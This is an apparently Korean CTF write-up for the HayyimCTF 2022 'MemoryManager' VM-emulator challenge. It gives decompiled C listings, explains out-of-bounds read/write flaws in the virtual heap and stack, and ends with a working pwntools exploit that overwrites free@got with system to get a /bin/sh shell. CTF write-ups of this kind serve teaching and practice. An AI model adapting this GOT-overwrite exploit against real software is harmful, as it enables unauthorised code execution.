[CTF write up] HayyimCTF 2022 - MemoryManager : Child VM challenge

2022. 2. 18. 03:03CTF write up

 

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  void *vm_name; // [rsp+0h] [rbp-80h]
  __int64 rs; // [rsp+8h] [rbp-78h]
  Vmware vm; // [rsp+10h] [rbp-70h] BYREF
  unsigned __int64 canary; // [rsp+78h] [rbp-8h]

  canary = __readfsqword(0x28u);
  vm_name = calloc(1uLL, 0x40uLL);
  sub_40230D();
  offsetunk = -1;
  memset(&vm, 0, 0x60uLL);
  vm.SP = int::0x1000;
  vm.BP = int::0x1000;
  heap_addr = (__int64)&heap_start;
  stack_addr = (__int64)&stack_start + int::0x1000 - 8;
  printf("Input VmName > ");
  rs = (int)read(0, vm_name, 0x40uLL);
  if ( *((_BYTE *)vm_name + rs - 1) == 10 )
    *((_BYTE *)vm_name + rs - 1) = 0;
  puts("Welcome");
  printf("This is a program that emulates the OP code written by %s\n", (const char *)vm_name);
  printf("Input OpCode > ");
  opcode = cread(int::0x1000);
  emulate(&vm);
  free(vm_name);
  free(opcode);
  return 0LL;
}

 

unsigned __int64 __fastcall emulate(Vmware *vm)
{
  char opc_8; // [rsp+1Fh] [rbp-31h]
  unsigned __int64 opc_64; // [rsp+20h] [rbp-30h]
  unsigned __int64 opc_64_2; // [rsp+28h] [rbp-28h]
  __int16 opc_16; // [rsp+45h] [rbp-Bh]
  char opc_8_2; // [rsp+47h] [rbp-9h]
  unsigned __int64 canary; // [rsp+48h] [rbp-8h]

  canary = __readfsqword(0x28u);
  opc_16 = 0;
  opc_64 = 0LL;
  opc_64_2 = 0LL;
  while ( 1 )
  {
    opc_8 = get_op_1(vm);
    switch ( opc_8 )
    {
      case 0:
      case 3:
        LOBYTE(opc_16) = get_op_2(vm);
        HIBYTE(opc_16) = get_op_2(vm);
        break;
      case 1:
      case 2:
      case 8:
        LOBYTE(opc_16) = get_op_2(vm);
        break;
      case 4:
      case 5:
      case 6:
      case 7:
        LOBYTE(opc_16) = get_op_2(vm);
        HIBYTE(opc_16) = get_op_2(vm);
        opc_8_2 = get_op_2(vm);
        opc_64 = op_read(vm, SHIBYTE(opc_16));
        opc_64_2 = op_read(vm, opc_8_2);
        break;
      default:
        break;
    }
    switch ( opc_8 )
    {
      case 0:
        opc_64 = op_read(vm, SHIBYTE(opc_16));
        op_push(vm, opc_16, opc_64);
        break;
      case 1:
        opc_64 = op_read(vm, opc_16);
        op_push(vm, 0x10u, opc_64);
        break;
      case 2:
        opc_64 = op_read(vm, 16);
        op_push(vm, opc_16, opc_64);
        break;
      case 3:
        bin_ofs = 0;
        opc_64 = op_read(vm, opc_16);
        bin_ofs = 1;
        opc_64_2 = op_read(vm, SHIBYTE(opc_16));
        op_alloc(vm, (unsigned __int8)opc_16, HIBYTE(opc_16), opc_64, opc_64_2);
        bin_ofs = -1;
        bin[0] = 0LL;
        qword_4050D8 = 0LL;
        bin_size[0] = 0LL;
        qword_4050C8 = 0LL;
        break;
      case 4:
        op_push(vm, opc_16, opc_64_2 + opc_64);
        break;
      case 5:
        op_push(vm, opc_16, opc_64 - opc_64_2);
        break;
      case 6:
        op_push(vm, opc_16, opc_64_2 * opc_64);
        break;
      case 7:
        op_push(vm, opc_16, opc_64 / opc_64_2);
        break;
      case 8:
        context_reg(vm, opc_16);
        break;
      case 9:
        return __readfsqword(0x28u) ^ canary;
      default:
        exit(-1);
    }
  }
}
__int64 __fastcall op_read(Vmware *vm, char opc_8)
{
  __int64 current_stack_rsp; // [rsp+18h] [rbp-18h]
  __int64 opc8andF; // [rsp+18h] [rbp-18h]
  __int64 rs; // [rsp+18h] [rbp-18h]
  __int64 opc_8andf_2; // [rsp+18h] [rbp-18h]
  __int64 opc_64; // [rsp+20h] [rbp-10h]

  switch ( opc_8 & 0xF0 )
  {
    case 0x10:
      if ( vm->SP == vm->BP )
        exit(-1);
      current_stack_rsp = *(_QWORD *)(stack_addr + vm->SP);
      vm->SP += 8LL;
      break;
    case 0x20:
      opc8andF = opc_8 & 0xF;
      switch ( opc8andF )
      {
        case 1LL:
          opc_64 = (unsigned __int8)get_op_1(vm);
          break;
        case 2LL:
          opc_64 = (unsigned __int16)get_op_2(vm);
          break;
        case 4LL:
          opc_64 = (unsigned int)get_op_4(vm);
          break;
        case 8LL:
          opc_64 = get_op_8(vm);
          break;
        default:
          exit(-1);
      }
      if ( offsetunk != -1 )
        bssunk[offsetunk] = opc_64;
      rs = (unsigned __int8)get_op_1(vm);
      if ( offsetunk != -1 )
        bssunk_2[offsetunk] = rs;
      switch ( rs )
      {
        case 1LL:
          return *(unsigned __int8 *)(heap_addr + opc_64);
        case 2LL:
          return *(unsigned __int16 *)(heap_addr + opc_64);
        case 4LL:
          return *(unsigned int *)(heap_addr + opc_64);
        case 8LL:
          return *(_QWORD *)(heap_addr + opc_64);
        default:
          exit(-1);
      }
    case 0x30:
      if ( (opc_8 & 0xFu) > 5 )
        exit(-1);
      return *(&vm->AX + (opc_8 & 0xF));
    case 0x40:
      opc_8andf_2 = opc_8 & 0xF;
      switch ( opc_8andf_2 )
      {
        case 1LL:
          return (unsigned __int8)get_op_1(vm);
        case 2LL:
          return (unsigned __int16)get_op_2(vm);
        case 4LL:
          return (unsigned int)get_op_4(vm);
        case 8LL:
          return get_op_8(vm);
        default:
          exit(-1);
      }
    default:
      exit(-1);
  }
  return current_stack_rsp;
}
__int64 __fastcall op_push(Vmware *vm, unsigned __int8 opc_8, __int64 opc64)
{
  __int64 opc64_2; // rax
  char v5; // [rsp+27h] [rbp-9h]
  char opc8andF; // [rsp+27h] [rbp-9h]
  unsigned __int64 heap_offset; // [rsp+28h] [rbp-8h]

  if ( (opc_8 & 0xF0) == 16 )                   // stack push (opc64)
  {
    if ( vm->SP <= 7uLL )
      exit(-1);
    vm->SP -= 8LL;
    opc64_2 = opc64;
    *(_QWORD *)(vm->SP + stack_addr) = opc64;
  }
  else if ( (opc_8 & 0xF0) == 32 )
  {
    v5 = opc_8 & 0xF;
    if ( (opc_8 & 0xF) == 1 )
    {
      heap_offset = (unsigned __int8)get_op_1(vm);
    }
    else
    {
      switch ( v5 )
      {
        case 2:
          heap_offset = (unsigned __int16)get_op_2(vm);
          break;
        case 4:
          heap_offset = (unsigned int)get_op_4(vm);
          break;
        case 8:
          heap_offset = get_op_8(vm);
          break;
        default:
          exit(-1);
      }
    }
    if ( heap_offset >= int::0x1000 - 8 )
      exit(-1);
    opc8andF = get_op_1(vm);
    switch ( opc8andF )
    {
      case 1:
        opc64_2 = heap_addr + heap_offset;
        *(_BYTE *)(heap_addr + heap_offset) = opc64;
        break;
      case 2:
        opc64_2 = heap_addr + heap_offset;
        *(_WORD *)(heap_addr + heap_offset) = opc64;
        break;
      case 4:
        opc64_2 = heap_addr + heap_offset;
        *(_DWORD *)(heap_addr + heap_offset) = opc64;
        break;
      case 8:
        opc64_2 = opc64;
        *(_QWORD *)(heap_offset + heap_addr) = opc64;
        break;
      default:
        exit(-1);
    }
  }
  else
  {
    opc64_2 = opc_8 & 0xF0;
    if ( (_DWORD)opc64_2 == 48 )
    {
      if ( (opc_8 & 0xFu) > 5 )
        exit(-1);
      opc64_2 = opc64;
      *(&vm->AX + (opc_8 & 0xF)) = opc64;
    }
  }
  return opc64_2;
}
int __fastcall write_state(Vmware *vm, char opc8)
{
  __int64 op_1; // [rsp+18h] [rbp-8h]
  unsigned __int64 op_2; // [rsp+18h] [rbp-8h]
  unsigned __int64 op_4; // [rsp+18h] [rbp-8h]
  unsigned __int64 op_8; // [rsp+18h] [rbp-8h]

  switch ( opc8 & 0xF0 )
  {
    case 16:
      printf("RSP: %llu\n, RBP: %llu\n", vm->SP, vm->BP);
      return printf("STACK[%llu]: %llu\n", vm->SP, *(_QWORD *)(stack_addr + vm->SP));
    case 32:
      switch ( opc8 & 0xF )
      {
        case 1:
          op_1 = (unsigned __int8)get_op_1(vm);
          return printf("DATA[%llu]: %llu\n", op_1, *(unsigned __int8 *)(heap_addr + op_1));
        case 2:
          op_2 = (unsigned __int16)get_op_2(vm);
          if ( op_2 >= int::0x1000 )
            exit(-1);
          return printf("DATA[%llu]: %llu\n", op_2, *(unsigned __int16 *)(heap_addr + op_2));
        case 4:
          op_4 = (unsigned int)get_op_4(vm);
          if ( op_4 >= int::0x1000 )
            exit(-1);
          return printf("DATA[%llu]: %llu\n", op_4, *(unsigned int *)(heap_addr + op_4));
        case 8:
          op_8 = get_op_8(vm);
          if ( op_8 >= int::0x1000 )
            exit(-1);
          return printf("DATA[%llu]: %llu\n", op_8, *(_QWORD *)(heap_addr + op_8));
        default:
          exit(-1);
      }
    case 48:
      printf("AX: %llu\n", vm->AX);
      printf("BX: %llu\n", vm->BX);
      printf("CX: %llu\n", vm->CX);
      printf("DX: %llu\n", vm->DX);
      printf("SI: %llu\n", vm->SI);
      printf("DI: %llu\n", vm->DI);
      printf("BP: %llu\n", vm->BP);
      printf("SP: %llu\n", vm->SP);
      return printf("PC: %llu\n", vm->VM_RIP);
    default:
      exit(-1);
  }
}
unsigned __int64 __fastcall op_alloc(Vmware *vm, __int16 opc_16, __int16 opc_16_2, __int64 opc_64, __int64 opc_64_2)
{
  int i; // [rsp+2Ch] [rbp-34h]
  __int64 heap_offset; // [rsp+30h] [rbp-30h]
  _WORD ar_opc_16[2]; // [rsp+3Ch] [rbp-24h]
  _QWORD ar_opc_64[3]; // [rsp+40h] [rbp-20h]
  unsigned __int64 cananry; // [rsp+58h] [rbp-8h]

  cananry = __readfsqword(0x28u);
  ar_opc_16[0] = opc_16;
  ar_opc_16[1] = opc_16_2;
  ar_opc_64[0] = opc_64;
  ar_opc_64[1] = opc_64_2;
  for ( i = 0; i <= 1; ++i )
  {
    switch ( ar_opc_16[i] & 0xF0 )
    {
      case 16:
        if ( vm->SP <= 8uLL )
          exit(-1);
        vm->SP -= 8LL;
        *(_QWORD *)(vm->SP + stack_addr) = ar_opc_64[i ^ 1];
        break;
      case 32:
        heap_offset = bin[i];
        if ( (ar_opc_16[i ^ 1] & 0xF0) == 32 )
        {
          switch ( bin_size[i ^ 1] )
          {
            case 1LL:
              *(_BYTE *)(heap_addr + heap_offset) = ar_opc_64[i ^ 1];
              break;
            case 2LL:
              *(_WORD *)(heap_addr + heap_offset) = ar_opc_64[i ^ 1];
              break;
            case 4LL:
              *(_DWORD *)(heap_addr + heap_offset) = ar_opc_64[i ^ 1];
              break;
            case 8LL:
              *(_QWORD *)(heap_offset + heap_addr) = ar_opc_64[i ^ 1];
              break;
          }
        }
        else
        {
          *(_QWORD *)(heap_offset + heap_addr) = ar_opc_64[i ^ 1];
        }
        break;
      case 48:
        if ( (ar_opc_16[i] & 0xFu) > 5 )
          exit(-1);
        *(&vm->AX + (ar_opc_16[i] & 0xF)) = ar_opc_64[i ^ 1];
        break;
    }
  }
  return __readfsqword(0x28u) ^ cananry;
}

최종적으로 분석을 마치면 다음과 같다. ida의 Structure 선언 기능을 이용하면 그나마 보기 쉽게 만들 수 있다. 이제까지 풀었던 vm 문제는 그냥 opcode 슉슉 하는게 끝인게 대부분인데 해당 문제는 정말 제대로 된 vm 문제이다보니 레지스터는 물론이고 stack이나 heap까지 구현되어있다...

 

일단 입력받은 opcode를 통해 일렬의 연산을 하고 그대로 종료해버리니 메모리 leak 없이 한번에 끝내야 한다. 다행히 산술 연산한 값을 op_push 하는 부분이 있으니 이를 이용해서 라이브러리 값을 가져와서 offset을 더하거나 빼버리고 바로 got 같은 곳에 넣어버리면 될 것 같다. 특히 가상 stack, heap 구역은 bss 영역에 할당되어있는데다 딱히 검증 과정이 많지 않기 때문에 OOB(Out Of Boundary)를 이용한 임의의 주소 쓰기(Arbitrary Adress Write) 공격으로 GOT 영역을 바사삭 할 수 있을 것 같다.

 

익스 과정을 어느정도 구상했으면 실제로 해당 루틴을 실행할 수 있는 악용가능한 가젯을 찾아야 한다.

 

 

 

 

opc_64에서 OBB 발생, 임의의 주소 반환 가능

 

메모리 주소 오프셋 수정

 

heap_offset에서 OOB 발생, 임의의 주소 쓰기 가능

 

가젯까지 완벽하게 있는 것을 확인했으니 이제 열심히 익스 코드를 짜면 된다. 하나씩 opcode를 넣어가면서 gdb로 까보면 그리 어렵지 않게 익스 코드를 완성할 수 있다.

 

쉘을 얻는데는 여러가지 방법이 있겠지만 나는 최종적으로 다음과 같은 방법을 이용했다.

 

 

 

1. vm_name <- /bin/sh
2. vm.AX <- print_addr - 0x15a20 (system_addr)
3. free@got <- vm.AX
4. free(vm_name) -> system('/bin/sh')

 

from pwn import *

p = process('./MemoryManager')
e = ELF('MemoryManager')

p.sendlineafter(b'> ', b'/bin/sh\x00')

p1 = b'\x05' + b'\x30\x00' + b'\x28\x00' + b'\x48\x00' + p64(0xffffffffffffef50) + b'\x08'
p1 += p64(0x15a20)
# opc_64 =  printf_addr
# opc_64_2 = 0x15a20 (print - system)
# vm.AX = opc_64 - opc_64_2 (system_addr)
p2 = b'\x03' + b'\x28\x00' + b'\x30\x00' + p64(0xffffffffffffef38) + b'\x08'
# bin[0] = offset
# opc_64_2 = vm.AX (system_addr)


payload = p1 + p2 + b'\x09'

raw_input()
p.sendlineafter(b'> ', payload)

p.interactive()

 

리버싱만 잘한다면 크게 어렵지 않게 풀 수 있는 문제였다. 하여튼 IDA 때문인 것으로..